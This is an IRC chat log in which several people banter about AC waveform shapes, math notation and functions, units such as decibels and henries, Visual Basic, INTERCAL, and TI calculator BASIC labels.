20:26:10 * AnMaster beams away to a badly rendered space ship (TOS)
20:26:21 * oerjan thinks they taste like soy
20:26:51 <AnMaster> strange
20:26:56 * oerjan reverses the polarity
20:27:10 <AnMaster> ooh that made it go faster
20:27:11 <AnMaster> thanks
20:27:21 <AnMaster> which is trange
20:27:23 <AnMaster> strange*
20:27:27 <AnMaster> since it is alternating current
20:28:25 <oerjan> it's just a phase(r)
20:28:38 <AnMaster> what is?
20:28:44 <AnMaster> the warp drive?
20:28:51 <AnMaster> that was what you reversed polarity of
20:28:56 <oerjan> the current reversal
20:28:57 <AnMaster> the mains to it
20:29:50 <oerjan> reversing the polarity should be a pi radians face shift, no?
20:29:53 <oerjan> *phase
20:30:46 <AnMaster> oerjan, that only makes sense assuming sinusoidal current
20:31:07 * oerjan thought alternating current was sinusoidal
20:31:12 <AnMaster> it often is
20:31:15 <AnMaster> but it may not be
20:31:36 <AnMaster> what matters is that it is alternating.
20:32:04 <oerjan> oh well
20:32:36 <AnMaster> oerjan, but sinusoidal is the far most common one I think
20:34:26 <AnMaster> oerjan, I'm surprised you didn't ask me what I meant with alternating
20:34:31 <AnMaster> but I shall tell you anyway
20:34:50 <oerjan> nooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
20:34:51 <AnMaster> it means it oscillates across zero.
20:35:09 <AnMaster> you can have square wave shape for example
20:35:15 <AnMaster> or triangular
20:35:23 -!- kar8nga has quit (Remote host closed the connection).
20:35:43 <Phantom_Hoover> Or pentagonal.
20:35:49 <Phantom_Hoover> Maybe.
20:35:55 <AnMaster> Phantom_Hoover, how would that look like
20:36:01 <AnMaster> I have a hard time imagining it
20:36:06 <Phantom_Hoover> Yeah, hexagonal makes more sense.
20:36:13 <AnMaster> and with triangular I mean \/\/\/ style
20:36:19 <Phantom_Hoover> Yes.
20:36:19 <AnMaster> not /_\
20:36:29 <AnMaster> (because that wouldn't make any sense)
20:36:41 <Phantom_Hoover> Perhaps pentagonal would be like triangular, but with less sloping.
20:36:57 <Phantom_Hoover> Or perhaps the wave would go back in time at some points.
20:37:48 <AnMaster> oerjan, btw in electrical engineering it seems common to mix radians and degrees. I have seen stuff like: u(t) = 4sin(50*2*pi*t + 45°) stuff, where (if your unicode is still broken) the thing after 45 is a degree sign
20:38:21 <AnMaster> Phantom_Hoover, hm
20:38:37 <Phantom_Hoover> ^
20:38:39 <Phantom_Hoover> / \
20:38:40 <Phantom_Hoover> \ /
20:38:42 <Phantom_Hoover> /
20:38:43 <Phantom_Hoover> \
20:38:45 <Phantom_Hoover> Or somesuch.
20:38:46 <AnMaster> argh
20:38:57 <Phantom_Hoover> Too much space? Sorry.
20:39:02 <AnMaster> Phantom_Hoover, that is not a function of either x or y
20:39:03 <AnMaster> :/
20:39:20 <Phantom_Hoover> The drawing is awful...
20:39:23 <AnMaster> true
20:39:23 <oerjan> degree signs are fine
20:39:55 <AnMaster> oerjan, but mixing them in one expression? Since the "50*2*pi" stuff is in radians
20:40:12 <fizzie> There was a signal generator at our electronics lab that reset the wave shape (from triangle to sine or the other way around) when you changed some other settings. Ruined our otherwise accurate magnetic field -related measurements, though we got the report accepted by doing some integration; the change in shape translated into a fixed fudge factor in whatever it was we were supposed to measure.
20:40:14 <Phantom_Hoover> How is a triangle wave a function of x or y, unless you use stuff like absolute values.
20:40:45 <fizzie> (Actually it might even have been square.)
20:40:50 <AnMaster> oerjan, oh also that would be: 4*e^(j45°) (you can usually ignore the factor that t is multiplied with if you are working with a single frequency iirc)
20:40:53 * oerjan swats Phantom_Hoover -----###
20:41:04 <oerjan> absolute values are perfectly good functions!
20:41:06 <AnMaster> oerjan, there are two things to annoy you there. j for imaginary unit
20:41:08 * Phantom_Hoover whimpers.
20:41:11 <AnMaster> and degrees in exponential form
20:41:38 <Phantom_Hoover> Can you even differentiate functions with absolutes?
20:41:50 <oerjan> well ° = pi/180
20:41:58 <AnMaster> Phantom_Hoover, everywhere except in the point 0
20:42:08 <AnMaster> or wherever the tip is
20:42:10 <oerjan> it's not exactly logically inconsistent
20:42:25 <AnMaster> (I mean, it would obviously not be in 0 if you did |x+1|)
20:42:43 <Phantom_Hoover> But if we have y=|x|, what is dy/dx?
20:42:46 <oerjan> Phantom_Hoover: not into functions, no. who says all functions have to be differentiable?
20:43:04 <Phantom_Hoover> No-one, but it irks me.
20:43:07 <AnMaster> Phantom_Hoover, would you treat division as a function then?
20:43:09 <AnMaster> as in
20:43:11 <AnMaster> 1/x perhaps
20:43:15 <AnMaster> yes lets take that one
20:43:19 <oerjan> however there is something called distributions, corresponding to such differentials and stuff
20:43:29 <AnMaster> and you more or less indicated above that sin() is a function from your point of view
20:43:38 <AnMaster> Phantom_Hoover, now differentiate sin(1/x) :P
20:43:57 <AnMaster> in fact, I want to know the value of it in x=0
20:44:09 <AnMaster> of (dx/dy that is)
20:44:17 <Phantom_Hoover> Of course, it's undefined at 0.
20:44:27 <AnMaster> Phantom_Hoover, and so is the limit
20:44:37 <oerjan> Phantom_Hoover: more importantly, absolute values are continuous and so triangle waves have perfectly good fourier series
20:44:51 <fizzie> The square wave shape is, I think, even worse than the triangle. At least the / and \ slopes of a triangle have a different derivatives; for the square it's just 0 everywhere where it plays nice, and then there's that horreeble jump.
20:45:40 <oerjan> indeed the differential of a triangle wave is intuitively a square one...
20:45:52 <AnMaster> hah nice
20:47:17 <Phantom_Hoover> Re the pentagonal wave, what's specifically wrong with it?
20:48:25 <Phantom_Hoover> I don't really know about this stuff.
20:48:27 <fizzie> The fact that it has multiple values at a single time?
20:48:27 <oerjan> well nothing really
20:48:33 <AnMaster> yeah what fizzie said
20:48:41 <Phantom_Hoover> fizzie: so does y=sqrt(x).
20:48:46 -!- coppro has joined.
20:48:47 <AnMaster> Phantom_Hoover, no it doesn't
20:48:52 <AnMaster> because sqrt is always the positive one
20:49:00 <AnMaster> that is why you put the "plus or minus" in front of it
20:49:11 <AnMaster> if it wasn't you wouldn't need that "plus or minus" symbol
20:49:15 <Phantom_Hoover> sin-1x?
20:49:23 <AnMaster> Phantom_Hoover, ?
20:49:30 <Phantom_Hoover> Inverse sin?
20:49:30 <AnMaster> sin of what?
20:49:32 <oerjan> Phantom_Hoover: not a function
20:49:38 <Sgeo> There's a pentagonal wave?
20:49:46 <AnMaster> Phantom_Hoover, inverse of sinus is only defined for a limited range
20:49:47 <oerjan> Sgeo: we could invent one
20:49:57 <AnMaster> Phantom_Hoover, and it only maps to a limited range
20:49:59 <Phantom_Hoover> Sgeo: No, I just thought of it in a fit of insanity.
20:50:18 <Phantom_Hoover> AnMaster: I have been *lied* to, then.
20:50:37 <AnMaster> Phantom_Hoover, well it is done in order to make it a function
20:51:05 <AnMaster> Phantom_Hoover, however in calculations like sin(x) = 4 you need to remember the extra posibilities
20:51:10 <AnMaster> and thus would write something like
20:51:21 <AnMaster> actually wait
20:51:23 <AnMaster> that won't work
20:51:24 <fizzie> You could call the pretty boring _/''\_ -style wave, with the slope angle of 72 degrees, a pentagonal wave; it's not like the triangle wave has more than two edges of the triangle either.
20:51:26 <AnMaster> change that equation to:
20:51:33 <AnMaster> sin(x) = 0.5
20:52:38 <AnMaster> x = arcsin(0.5) + pi * n (n in Z)
20:52:39 <AnMaster> or whatever
20:52:50 <AnMaster> I forgot what the repetition rate was
20:53:13 <Phantom_Hoover> Yeah, it's pi.
20:53:17 <Phantom_Hoover> I think.
20:53:28 <AnMaster> I get negative value there, mhm
20:53:33 <Phantom_Hoover> Can the "I think" after everything I say just be implicit?
20:53:34 <AnMaster> so something is off
20:54:03 <oerjan> it's 2pi, but you need two values in that interval
20:54:36 <oerjan> x and pi-x
20:54:40 <AnMaster> ah right
20:54:51 <AnMaster> oerjan, was it cos that had the simpler one?
20:55:10 <oerjan> x and -x
20:55:51 <oerjan> sin (-x) = -sin x, cos (-x) = cos x
20:55:59 <AnMaster> right
20:56:07 <AnMaster> oerjan, It isn't something I use very often
20:56:25 <oerjan> me neither
20:56:26 -!- Gracenotes has quit (Read error: Connection reset by peer).
20:59:31 <AnMaster> oerjan, I find the difference between mathematics and applied mathematics amusing sometimes
20:59:46 <AnMaster> like math teachers telling us to always remember the "plus or minus" when taking square root
21:00:30 <AnMaster> and then when you actually use it you quite often don't need to remember that, because one is absurd (like you can't have a negative ratio between the number of turns in a transformer)
21:01:13 <oerjan> well as long as you're positive about it
21:01:18 <AnMaster> hah
21:02:04 <fizzie> AnMaster: sin x = 4 "works" if you let x be complex; sin(pi/2 + i*arccosh(4)) = 4.
21:02:14 <Phantom_Hoover> oerjan: You are charged with crimes against the English language.
21:02:18 <AnMaster> fizzie, ah, haven't dealt with that stuff at all
21:02:25 <AnMaster> oerjan, or that you don't actually need to solve most things exactly, numerically is good enough as long as you have enough decimals (of course deciding what is enough is another question)
21:03:52 <oerjan> Phantom_Hoover: as long as it is a positive charge
21:04:12 <oerjan> (MWAHAHA)
21:04:20 <fizzie> Ah, there was a lovely joke in the Concrete Mathematics book.
21:04:33 <AnMaster> I think almost all (I don't know if this is in the mathematical sense or not) math teachers I ever had have hated approximate answers. They seem to prefer 4*sqrt(2)/44 rather than something like ~0,115
21:05:06 <oerjan> Phantom_Hoover: ais523 once complained after i had made so many puns he became physically ill
21:05:07 <AnMaster> IMO the latter actually tells you a lot more when reading it
21:05:25 <fizzie> It has student-provided comments scribbled all over the margins; now, in one place the actual book text says something about "looking at sums that involve actual numbers: [a sum expression with j, k and N in it]" and the comment in the margin there was "Caution! The authors of this book seem to think that j, k and N are 'actual numbers'."
21:05:31 <AnMaster> I mean, I can't tell from just looking at "4*sqrt(2)/44" that it is "0.1 and a bit"
21:06:00 <AnMaster> oerjan, when was that?
21:06:10 <oerjan> AnMaster: that's sqrt(2)/11, you infidel!
21:06:16 <oerjan> a few weeks ago?
21:06:22 <AnMaster> fizzie, wonderful
21:06:32 <AnMaster> oerjan, whatever, to me it is ~ 0.115
21:06:55 <AnMaster> oerjan, in practise your measurement tools probably didn't give you that many decimals even
21:07:05 <fizzie> Then you should positively (no pun intended) love floating-point numbers, given that they're inexact all the time.
21:07:33 <AnMaster> most multimeters I have seen tend to give you 3 or 4 significant digits
21:07:55 <AnMaster> (well, some of them seem to vary and be inconsistent even within the same range, but that is another, weird, story)
21:10:12 <AnMaster> I have seen the *same* multimeter display, without me touching anything on it displaying: 1.010 V, 1.01 V, 1010 mV
21:10:28 <coppro> Oo
21:10:34 <AnMaster> and all I did was vary the amplitude on the signal generator used
21:10:49 <AnMaster> to approach the values from different directions
21:11:04 <AnMaster> like, going from just above downwards or just below upwards
21:11:49 <AnMaster> some sort of the delay in switching between V and mV could explain part of it
21:11:53 <Phantom_Hoover> AnMaster: What's wrong with surds?
21:12:00 <AnMaster> but not 1.010 vs. 1.01
21:12:04 <AnMaster> Phantom_Hoover, what
21:12:05 <AnMaster> ?
21:12:33 <Phantom_Hoover> The giving of numbers with square roots and fractions unevaluated.
21:13:04 <AnMaster> Phantom_Hoover, well, it doesn't really give you any sort of feeling for what size the value actually is
21:13:28 <Phantom_Hoover> True, but it's *exact*, and any calculations you make with it are also exact.
21:13:43 <AnMaster> could you tell what 476531489094403/6171473383353049 actually is
21:13:56 <AnMaster> Phantom_Hoover, like just from looking at it
21:14:04 <Phantom_Hoover> No.
21:14:07 <AnMaster> see
21:14:14 <oerjan> !haskell 476531489094403/6171473383353049
21:14:27 <fizzie> Hey, where's fungot?
21:14:28 <EgoBot> 7.721518987342642e-2
21:14:32 <AnMaster> Phantom_Hoover, you can't really tell which fraction is largest if given two ridiculous fractions like that
21:14:46 <Phantom_Hoover> It really depends what you're using it for.
21:14:54 <AnMaster> fizzie, didn't you set up a supervisor for it?
21:15:04 <fizzie> AnMaster: No, I just thought about it. :p
21:15:05 <AnMaster> err that might be erlang speak
21:15:06 <Phantom_Hoover> Halfway through a calculation it's probably better to leave it as a surd.
21:15:35 <AnMaster> oerjan, btw I doubt you can simplify that fraction
21:15:39 <AnMaster> oerjan, since both are prime
21:15:43 <AnMaster> but I might be wrong
21:15:58 <fizzie> I've seen "supervisor" used also in a daemony context.
21:16:03 <AnMaster> right
21:16:07 <Phantom_Hoover> How can you possibly simplify a fraction of two primes?
21:16:15 <AnMaster> Phantom_Hoover, well yes probably, unless that means you end typoing stuff because the expression takes up two lines
21:16:16 <fizzie> Gah, my hostmask is again wrongly.
21:16:22 -!- fizzie has quit (Quit: jumpin' jumpin').
21:16:24 -!- fizzie has joined.
21:16:45 <AnMaster> Phantom_Hoover, I don't know, I'm pretty sure you can't but I might have forgotten something
21:16:51 -!- fungot has joined.
21:17:16 <AnMaster> fizzie, not identified to services?
21:17:24 <AnMaster> why not just edit the host mask in fungot then
21:17:24 <fungot> AnMaster: it just wasn't my brand of humor.
21:17:40 <Phantom_Hoover> AnMaster: Two primes by definition share no common factors, and as such no fraction with them as numerator and denominator can be simplified.
21:17:43 <AnMaster> wait you are now
21:17:45 <AnMaster> hm
21:17:46 <AnMaster> misread
21:18:02 <AnMaster> Phantom_Hoover, perhaps you could break out a root or something silly like that?
21:18:48 <Phantom_Hoover> Well, you can obviously divide top and bottom by anything, but you wouoldn't exactly be simplifying.
21:18:50 <AnMaster> you probably can't what with roots not being rational though
21:19:02 <AnMaster> Phantom_Hoover, indeed
21:19:22 <AnMaster> oerjan, anyway one thing I do agree with mathematicians about is units
21:19:27 <oerjan> !haskell import Ratio; main = print (476531489094403/6171473383353049::Rational)
21:19:31 <EgoBot> 476531489094403%6171473383353049
21:19:36 <AnMaster> oerjan, base units is best
21:19:51 <AnMaster> even if that means 5*10^-9 F rather than 5 nF
21:20:06 <AnMaster> because that is so easy to forget in your calculations
21:20:11 <Phantom_Hoover> F?
21:20:17 <AnMaster> Phantom_Hoover, farad isn't it?
21:20:36 <Phantom_Hoover> Oh, yes.
21:20:47 <AnMaster> Phantom_Hoover, capacitors. And yes the usual range tends to require you to use *10^-something for them
21:20:52 <Phantom_Hoover> For an awful second I though you meant Fahrenheit.
21:20:59 <fizzie> Wasn't it capacitance where the old-fashioned name for a picofarad was μμF, the micro-microfarad?
21:21:07 <AnMaster> fizzie, I never seen that
21:21:33 <fizzie> "A micro-microfarad (μμF) that can be found in older texts is the equivalent of a picofarad." -- An unsourced statement, though.
21:21:34 <AnMaster> fizzie, I have seen nF, µF mostly. pF (?) I don't remember
21:21:43 <fizzie> Yes, but we're not so old.
21:21:44 <AnMaster> ooh wait
21:21:49 <AnMaster> tell me what pH is
21:21:59 <AnMaster> pico-henry right?
21:22:02 <AnMaster> XD
21:22:09 <coppro> lol
21:22:11 <Phantom_Hoover> Or potential of hydrogen.
21:22:18 <Phantom_Hoover> Oh, wait.
21:22:25 <AnMaster> Phantom_Hoover, I prefer picohenry
21:22:48 <AnMaster> Phantom_Hoover, but yes pH is usually the "is it acid or basic" thingy
21:22:48 <oerjan> this is henry, who is very small
21:23:03 <AnMaster> oerjan, henry is a unit for inductors
21:23:10 <AnMaster> it measures, um, something
21:23:16 <AnMaster> I know how to calculate with it thought!
21:23:19 <AnMaster> though*
21:23:20 <Phantom_Hoover> Inductance, presumably.
21:23:23 <fizzie> AnMaster: Yes, and 1 kB is one kilobel.
21:23:24 <AnMaster> Phantom_Hoover, ah yes
21:23:31 <AnMaster> fizzie, bel?
21:23:40 <AnMaster> oh right
21:23:40 <fizzie> AnMaster: The B in dB (decibel).
21:23:42 <AnMaster> as in dB
21:23:49 <AnMaster> fizzie, indeed it must be
21:23:52 <oerjan> is bel an SI unit?
21:24:00 <fizzie> oerjan: It's not exactly, but a bit.
21:24:03 <AnMaster> fizzie, awfully loud noise I guess
21:24:18 <fizzie> oerjan: At least it's on this "Units outside the SI that are accepted for use with the SI" table, but not on the actual "Units of SI" one.
21:24:18 <Phantom_Hoover> Just 10 dB.
21:24:23 <AnMaster> I think units is bad:
21:24:24 <AnMaster> mad*
21:24:26 <AnMaster> You have: dB
21:24:27 <AnMaster> You want:
21:24:27 <AnMaster> Definition: deci B = 0.8 bit
21:24:29 <AnMaster> XD
21:24:35 <oerjan> a kilobel should be enough to shatter the universe
21:24:42 <AnMaster> (just entering a unit is supposed to show it's definition)
21:24:48 <AnMaster> but decibit is just silly
21:25:16 <AnMaster> wait, since dB is logarithmic.... kB would be horribly extremely large
21:25:19 <fizzie> oerjan: Depends on your reference level, of course.
21:25:28 -!- Oranjer has left (?).
21:25:30 <AnMaster> I mean, even outside sound you don't get tha
21:25:31 <AnMaster> that*
21:25:36 <oerjan> AnMaster: ^
21:25:49 <AnMaster> oerjan, [citation needed]
21:25:53 <AnMaster> btw dB it is used in electricity too
21:26:02 <AnMaster> for stuff like amplifiers of signals
21:26:10 <AnMaster> which may or may not be sound
21:26:15 <fizzie> They use it for everything where there's a ratio of two things.
21:27:23 <Phantom_Hoover> How is a bel even defined?
21:27:25 <oerjan> AnMaster: a kilobel is 10^1000 times as loud as 0 bel, that's many orders of magnitude larger than the number of atoms in the visible universe
21:27:45 <AnMaster> 20*log_10(amplification in electronic amplifier) wasn't it?
21:27:48 <AnMaster> something silly like that
21:28:06 <AnMaster> to get the thing in dB
21:29:36 <fizzie> For sound, it's 20*log_10(p_rms/p_ref), where p_rms is the sound pressure level you see, and p_ref is something like 20 µPa (according to Wikipedia); that's around the threshold for hearing in the usual circumstances.
21:30:24 -!- MizardX has quit (Ping timeout: 276 seconds).
21:31:00 <AnMaster> fizzie, I'm talking about http://en.wikipedia.org/wiki/Operational_amplifier kind of stuff. Had a course that included calculation on such recently at university
21:31:43 <AnMaster> the fun thing was calculating on "ideal" such
21:31:53 <AnMaster> like you deal with ideal resistors or inductors or whatever
21:32:13 <AnMaster> I'm not sure the stuff quite would pass the scrutiny of a mathematician
21:32:51 <Phantom_Hoover> What is it with Visual Basic?
21:33:07 <Phantom_Hoover> I see it referred to all over the place, but what is it acually used for?
21:33:07 <AnMaster> eh?
21:33:19 <AnMaster> what?
21:33:30 <AnMaster> visual basic? isn't that a shitty language that microsoft made
21:33:30 <fizzie> Anyway, 10^500 (because the ratio is taken of the squares of the pressure levels) times p_ref would be "just" 2*10^495 Pascals.
21:33:47 <AnMaster> fizzie, I have no idea of what the usual scale is for pascals
21:33:50 <oerjan> it's basically visual
21:33:52 <AnMaster> I don't really deal with sound stuff
21:34:05 <AnMaster> fizzie, didn't you do some sound stuff at university at some point?
21:34:18 <AnMaster> or was that your main area even?
21:34:22 <Phantom_Hoover> AnMaster: Whence "Visual"?
21:34:30 <oerjan> no, everything fizzie did was unsound
21:34:32 <AnMaster> Phantom_Hoover, no idea
21:34:38 <AnMaster> Phantom_Hoover, maybe because it had GUI stuff?
21:34:42 <Phantom_Hoover> Same with Visual C++.
21:34:54 <AnMaster> Phantom_Hoover, iirc that is just a product line of microsoft
21:34:56 <AnMaster> *shrug*
21:34:57 <fizzie> AnMaster: Pascal is a derived unit, 1 Pa = 1 N/m^2. Just imagine some 10^494 kilos of stuff on top of you to get a "gut feeling" of that magnitude.
21:35:15 <AnMaster> Phantom_Hoover, why "Vista", why "XP", why "excel"
21:35:25 <AnMaster> I don't think there is a reasonable answer to any of those
21:35:30 <fizzie> And Visual Basic, compared to Basic, is indeed pretty Visual; at least the development environment is (or used to be) pretty GUI-form-editor-oriented.
21:35:42 <Phantom_Hoover> And what's shitty about it?
21:35:44 <fizzie> I don't know which one they named first, though; Visual Basic or the Visual Studio line of stuff.
21:35:52 <AnMaster> fizzie, ouch
21:36:05 <fizzie> "BASIC rots your brain; Visual Basic is bad for the eyes", like they say.
21:36:18 <Phantom_Hoover> ...Why?
21:36:29 <Phantom_Hoover> I have no experience in any BASIC stuff.
21:36:30 <AnMaster> Phantom_Hoover, you might as well ask why COBOL is bad
21:36:43 <fizzie> AnMaster: If you want to use a timer somewhere, you put an invisible timer element in a GUI window somewhere.
21:36:48 <AnMaster> (not the same reason, but equally hard to explain)
21:36:50 <Phantom_Hoover> Nerds obsessing over minutiae?
21:36:50 <oerjan> my gut feeling seems to be in a black hole right now
21:37:00 <AnMaster> oerjan, heh
21:37:09 <AnMaster> oerjan, that depends on density
21:37:20 <AnMaster> fizzie, sounds like delphi?
21:39:49 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
21:40:56 <fizzie> AnMaster: My exposure to Delphi is minimal, but yes, I think there are similarities.
21:41:14 <AnMaster> *shudder*
21:41:42 <Phantom_Hoover> I was raised on Pascal!
21:41:57 <AnMaster> apple script first for me. Yes I know, horrible
21:41:57 <fizzie> I think they've sensiblized the language (and the environment) at least somewhat for the current, "VB.NET" generation.
21:42:00 <Phantom_Hoover> Though I didn't like it very much.
21:42:03 <AnMaster> then dephi, then sane stuff
21:42:07 <AnMaster> delphi*
21:42:10 <fizzie> You can write web stuff with it nowadays, for example.
21:42:21 <AnMaster> fizzie, you could in theory before I gues
21:42:24 <AnMaster> guess*
21:42:27 <AnMaster> if you had stdio
21:42:39 <Phantom_Hoover> Then I changed schools, and had to use JavaScript.
21:42:54 <fizzie> AnMaster: Well.. you could declare win32 api components, though the FFI was a bit limited.
21:43:07 <AnMaster> heh
21:43:15 <AnMaster> fizzie, what I meant was a cgi
21:44:29 <fizzie> Yes, I don't know how that stuff works in Windows. I don't recall ever seeing a Visual Basic "console application", but it is possible it could make one.
21:46:25 <fizzie> "Even if you use the Win32 API for writing into the console screen, Your application won't work, because the Visual Basic compiler always creates GUI application and it doesn't provide any compiler options for changing it to console application."
21:46:42 <fizzie> There is, however, a third-party binary-mangling tool that translates a GUI PE executable to a console one.
21:47:16 * Phantom_Hoover shivers.
21:47:27 <AnMaster> heh sounds fun
21:47:45 <fizzie> It seems to be a one-byte change.
21:47:58 <Phantom_Hoover> Betwixt what and what?
21:48:12 <fizzie> A "GUI mode" PE executable and a "console mode" one.
21:48:22 <AnMaster> where is that quote from btw?
21:48:33 <fizzie> AnMaster: http://www.nirsoft.net/vb/console_application_visual_basic.html
21:49:24 <fizzie> That might be a bit outdated too. Probably it's about as easy to write a console app with VB.NET as with any other .NET language.
21:49:53 * Phantom_Hoover shivers even more.
21:51:19 <fizzie> "On Error Resume Next" is a nice one-line summary of a Visual Basic mindset.
21:51:34 <AnMaster> heh
21:51:42 <Phantom_Hoover> Wait, so it just skips errors?
21:51:42 <AnMaster> what does it mean?
21:51:55 <Phantom_Hoover> Like /INTERCAL/?
21:52:15 <AnMaster> Phantom_Hoover, why a regex?
21:52:22 <fizzie> It means pretty much what it says. If there ever is a runtime error detected by the system, it is "handled" by resuming execution on the next line.
21:52:23 <AnMaster> (or what the heck where those / / ?)
21:52:30 <fizzie> They could be italics.
21:52:37 <AnMaster> mhm
21:53:13 <fizzie> The other alternative, mind you, is "on error goto x", where x is a line number. (Or a line label, which sounds more likely nowadays.)
21:53:19 <AnMaster> Phantom_Hoover, also iirc intercal doesn't do that sort of thing
21:53:32 <AnMaster> rather it gives you a cryptic error message
21:53:42 <Phantom_Hoover> I thought it just skipped them.
21:53:54 <Phantom_Hoover> And that's how you write comments.
21:53:58 <AnMaster> oh that yes
21:54:03 <AnMaster> but that is syntax errors iirc
21:54:53 <oerjan> no it doesn't skip all syntax errors, but ignores syntax errors in lines that are otherwise skipped (due to starting, e.g. with DO NOT)
21:55:07 <AnMaster> ah right
21:55:47 <Phantom_Hoover> Oooh.
21:58:15 <oerjan> specific lines can have skipping turned on/off with the ABSTAIN/REINSTATE commands
21:58:21 <fizzie> "The statement DO ABSTAIN FROM ABSTAINING is perfectly valid, as is DO ABSTAIN FROM REINSTATING (although this latter is not usually recommended). However, the statement DO ABSTAIN FROM GIVING UP is not accepted, even though DON'T GIVE UP is."
21:58:25 <fizzie> One of my favourite sentences.
21:58:30 <fizzie> Or a pair of 'em.
21:59:03 <AnMaster> heh
21:59:41 <fizzie> I do like the non-sequiturs too, though.
21:59:52 <AnMaster> intercal needs to be... more self-modifying
22:00:08 <fizzie> "--, where exp represents any expression (except colloquial and facial expressions), --"
22:00:15 <AnMaster> heh
22:00:48 <Phantom_Hoover> I had an idea a while back for an "exclude" system.
22:00:50 <fizzie> "No other form of argument is permitted. For example, the following is an invalid argument: [an invalid proof of x != 0, y != 0 => x + y = 0]."
22:01:22 <Phantom_Hoover> Wherein one would export a function to another module of code, rather than importing it.
22:02:48 <AnMaster> fizzie, argument to what?
22:03:10 <fizzie> AnMaster: For REINSTATE, in this case.
22:03:22 <AnMaster> fizzie, also were those [ ] there in the original or was that your summary of it?
22:03:29 <fizzie> That was my summary.
22:03:32 <AnMaster> ah
22:03:47 <fizzie> The original has a nice proof that relies on the ambiguities of English.
22:03:52 <AnMaster> fizzie, link to this?
22:04:22 <fizzie> http://www.muppetlabs.com/~breadbox/intercal-man/s04.html has one HTMLization, section 4.4.10.
22:05:27 <AnMaster> hahaha
22:05:52 <fizzie> You hardly see any line numbers around nowadays either, which is a shame. There's something so pure about an integer label, instead of some silly thing like a name.
22:06:10 <Sgeo> When ais523 comes in, link him to http://www.reddit.com/r/programming/comments/bioxv/while_thinking_about_turing_machines_i_found_that/c0mypya
22:06:17 <AnMaster> even TI-BASIC uses 2 letter labels
22:06:21 <AnMaster> 1 or 2 letters
22:06:26 <AnMaster> I don't know if numbers work
22:06:34 <AnMaster> and I don't have my TI-83+ handy atm
22:09:30 <Phantom_Hoover> Sgeo: Aren't TC languages effectively equivalent to a Turing machine?
22:10:08 <lament> equivalently effective
22:10:45 <fizzie> TI-86's TI-BASIC allows pretty long labels, you just use the "Lbl ABCD" command, and then "Goto ABCD" later. I'm not sure what the length limit there is; four seems to work just fine.
22:10:56 <Phantom_Hoover> So what's the guy complaining about?
22:12:08 <pikhq> Complaints.
22:12:58 <fizzie> Empirical tests seems to suggest that "Lbl" accepts labels up to 8 characters long.
22:14:55 <pikhq> PLEASE ABSTAIN FROM COMING FROM
22:15:07 <pikhq> Man. INTERCAL.
22:16:18 <AnMaster> fizzie, on TI-83+ it was 2 letters
22:16:20 <Phantom_Hoover> fizzie: Presumably that afects TCness.
22:18:34 <fizzie> AnMaster: I don't have the 83+ ROM in the TI emulator in my phone, so can't verify that; I'll take your word for it.
22:20:32 <oerjan> fizzie: unless you can create labels on the fly (and somehow use that for memory), more than 8 characters seems unlikely to help for TCness
22:20:43 <fax> burghgrph'unrbafpun
22:21:09 <oerjan> even 2 letters are probably enough
22:21:30 <fizzie> oerjan: Yes, I do agree. It's got arrays (well, vectors and matrices), but I think those have specified fixed size limits.
22:22:11 <oerjan> oh, i meant that remark for Phantom_Hoover
22:22:22 <oerjan> but thanks for clarification
22:23:33 <Phantom_Hoover> oerjan: Surely a finite number of levels would restrict something important?
22:23:57 <Phantom_Hoover> For instance, you would only be able to nest loops up to a certain number.
22:24:35 <oerjan> Phantom_Hoover: if _everything_ is finite, yes. but you only need one mechanism for getting unbounded memory, labels don't need to be it
22:25:25 <Phantom_Hoover> Hmm...
22:29:48 <oerjan> and even unlimited label size won't help with that as long as you have fixed labels in each single program
22:30:13 <Phantom_Hoover> Yes...
22:30:24 <fizzie> It has strings, and the manual doesn't especially speak of length limits, but of course in practice it does have limits there.
22:30:34 <AnMaster> <fizzie> AnMaster: I don't have the 83+ ROM in the TI emulator in my phone, so can't verify that; I'll take your word for it. <-- on... your... phone?!
22:30:36 <AnMaster> wth
22:30:51 <AnMaster> fizzie, well I do have a ti-83+ emulator somewhere around here anyway
22:31:35 <Quadrescence> Windows Mobile has a TI 83-89 emulator
22:31:37 <fizzie> AnMaster: Yes, I have AlmostTI (which does 85, 86, 82, 83, 83+, 73, 83+se, and maybe 84+ and 84+se) on the phone.
22:31:49 <fizzie> Doesn't do 89, though.
22:32:12 <fizzie> (http://fms.komkon.org/ATI85/)
22:32:25 <AnMaster> yep syntax error with 3 letters
22:32:37 <AnMaster> fizzie, 89 is 68k isn't it?
22:32:40 <AnMaster> while the other are Z80
22:32:42 <fizzie> AnMaster: Yes, I think it is.
22:33:44 <fizzie> oerjan: It's got strings, and those don't have explicit length limits, but you can again derive some implicit limits from the fact that "lngth" needs to be able to return the length of string, and it returns a "number", and the numbers are something like 14-byte BCD-decimal-floats or some-such.
22:34:04 <AnMaster> is there no plain 84 btw?
22:34:07 <AnMaster> without the +
22:34:29 <fizzie> They might have skipped the number.
22:34:32 <AnMaster> Phantom_Hoover, you have loops in TI-83+ btw
22:34:33 <fizzie> I haven't heard of one.
22:34:38 <AnMaster> that are not done with label and goto
22:34:44 <AnMaster> you have for() and while iirc
22:34:51 <AnMaster> anyway the ram is very limited
22:34:58 <AnMaster> so you would run out of that early on
22:35:00 <fizzie> I think there was a nesting limit for the loops, too, but I might misremember.
22:35:05 <AnMaster> maybe
22:35:06 <AnMaster> I don't know
22:35:21 <AnMaster> "The TI-84 Plus is a graphing calculator made by Texas Instruments which was released in early 2004. There is no original TI-84, only the TI-84 Plus and TI-84 Plus Silver Edition models"
22:35:23 <AnMaster> from wikipedia
22:40:01 <AnMaster> what just happened to wikipedia
22:40:05 <AnMaster> everything changed
22:40:14 <AnMaster> horribly unreadable now
22:40:25 <AnMaster> and then it went back to normal
22:40:29 <AnMaster> with ctrl-shift-r
22:40:33 <AnMaster> ?????
22:41:07 <Sgeo> Bug with Beta?
22:41:53 <AnMaster> does beta have a smaller font?
22:41:57 <AnMaster> if so probably
22:42:04 <AnMaster> and kind of bluish theme
22:42:53 <Sgeo> http://mashable.com/2010/03/26/wikipedias-redesign-is-coming-soon/
22:43:30 <AnMaster> looked like a mix of them
22:47:29 <Phantom_Hoover> They're changing it! Therefore it will suck!
22:48:17 <oerjan> http://tvtropes.org/pmwiki/pmwiki.php/Main/TheyChangedItNowItSucks
22:48:25 <oerjan> (*MWAHAHAHA*)
22:53:00 <pikhq> eh, bttr thn th chngs thy md t nglsh. lawlfg!
22:53:56 -!- Oranjer has joined.
